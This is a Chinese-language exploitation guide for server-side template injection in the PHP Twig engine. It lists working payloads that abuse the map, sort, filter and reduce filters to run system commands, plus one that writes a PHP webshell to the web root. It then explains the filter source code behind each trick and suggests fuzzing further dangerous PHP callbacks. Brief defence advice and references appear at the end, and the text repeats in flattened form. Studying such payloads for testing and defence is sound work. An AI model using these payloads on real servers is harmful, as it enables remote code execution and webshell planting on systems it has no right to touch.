TWIG 全版本通用 SSTI payloads
字数 1244 2025-08-25 22:58:29

Twig 全版本通用 SSTI 利用指南

概述

Twig 是一个流行的 PHP 模板引擎,广泛应用于 Symfony 等框架中。本文档详细介绍了 Twig 模板引擎中存在的服务器端模板注入(SSTI)漏洞的利用方法,这些方法适用于 Twig 1.x、2.x 和 3.x 全版本。

核心 Payloads

以下是经过验证的有效 SSTI Payloads:

1. 使用 map 过滤器

{{["id"]|map("system")|join(",")}}

2. 使用 sort 过滤器

{{["id", 0]|sort("system")|join(",")}}

3. 使用 filter 过滤器

{{["id"]|filter("system")|join(",")}}

4. 使用 reduce 过滤器

{{[0, 0]|reduce("system", "id")|join(",")}}

5. 文件写入 Payload

{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}

技术原理分析

map 过滤器利用

Twig 的 map 过滤器实现如下:

function twig_array_map($array, $arrow) {
    $r = [];
    foreach ($array as $k => $v) {
        $r[$k] = $arrow($v, $k);
    }
    return $r;
}

当传入字符串而非箭头函数时,Twig 会直接调用该字符串命名的函数。可利用的危险函数包括:

  • system(string $command [, int &$return_var])
  • passthru(string $command [, int &$return_var])
  • exec(string $command [, array &$output [, int &$return_var]])
  • popen(string $command, string $mode)
  • shell_exec(string $cmd)

sort 过滤器利用

sort 过滤器实现使用 PHP 的 uasort 函数:

function twig_sort_filter($array, $arrow = null) {
    if (null !== $arrow) {
        uasort($array, $arrow);
    }
    // ...
}

uasort 接受回调函数,因此可以直接传入命令执行函数。

filter 过滤器利用

filter 过滤器实现使用 array_filter

function twig_array_filter($array, $arrow) {
    return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH);
}

reduce 过滤器利用

reduce 过滤器实现使用 array_reduce

function twig_array_reduce($array, $arrow, $initial = null) {
    return array_reduce($array, $arrow, $initial);
}

注意 reduce 需要提供初始值作为命令参数。

高级利用技巧

文件写入技术

当直接命令执行被限制时,可以使用文件写入技术:

{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}

此 Payload 会创建一个包含 PHP 代码的 webshell。

函数 Fuzz 思路

理论上,任何接受回调函数参数的 PHP 函数都可能被利用。可以尝试以下方向:

  1. 命令执行类函数:system, passthru, exec, shell_exec, popen
  2. 文件操作类函数:file_put_contents, fopen, unlink
  3. 其他危险函数:assert, create_function, call_user_func

防御建议

  1. 避免将用户输入直接作为模板内容渲染
  2. 对 Twig 模板进行沙箱限制
  3. 禁用危险的 PHP 函数
  4. 使用最新版本的 Twig 并关注安全更新

参考链接

通过以上方法,攻击者可以在存在 SSTI 漏洞的 Twig 模板系统中实现远程代码执行。防御方应重视模板引擎的安全配置,防止此类漏洞被利用。

Twig 全版本通用 SSTI 利用指南 概述 Twig 是一个流行的 PHP 模板引擎,广泛应用于 Symfony 等框架中。本文档详细介绍了 Twig 模板引擎中存在的服务器端模板注入(SSTI)漏洞的利用方法,这些方法适用于 Twig 1.x、2.x 和 3.x 全版本。 核心 Payloads 以下是经过验证的有效 SSTI Payloads: 1. 使用 map 过滤器 2. 使用 sort 过滤器 3. 使用 filter 过滤器 4. 使用 reduce 过滤器 5. 文件写入 Payload 技术原理分析 map 过滤器利用 Twig 的 map 过滤器实现如下: 当传入字符串而非箭头函数时,Twig 会直接调用该字符串命名的函数。可利用的危险函数包括: system(string $command [, int &$return_var]) passthru(string $command [, int &$return_var]) exec(string $command [, array &$output [, int &$return_var]]) popen(string $command, string $mode) shell_exec(string $cmd) sort 过滤器利用 sort 过滤器实现使用 PHP 的 uasort 函数: uasort 接受回调函数,因此可以直接传入命令执行函数。 filter 过滤器利用 filter 过滤器实现使用 array_filter : reduce 过滤器利用 reduce 过滤器实现使用 array_reduce : 注意 reduce 需要提供初始值作为命令参数。 高级利用技巧 文件写入技术 当直接命令执行被限制时,可以使用文件写入技术: 此 Payload 会创建一个包含 PHP 代码的 webshell。 函数 Fuzz 思路 理论上,任何接受回调函数参数的 PHP 函数都可能被利用。可以尝试以下方向: 命令执行类函数: system , passthru , exec , shell_exec , popen 文件操作类函数: file_put_contents , fopen , unlink 其他危险函数: assert , create_function , call_user_func 防御建议 避免将用户输入直接作为模板内容渲染 对 Twig 模板进行沙箱限制 禁用危险的 PHP 函数 使用最新版本的 Twig 并关注安全更新 参考链接 VolgaCTF 2020 Qualifier Writeup Twig 官方文档 PHP 危险函数列表 通过以上方法,攻击者可以在存在 SSTI 漏洞的 Twig 模板系统中实现远程代码执行。防御方应重视模板引擎的安全配置,防止此类漏洞被利用。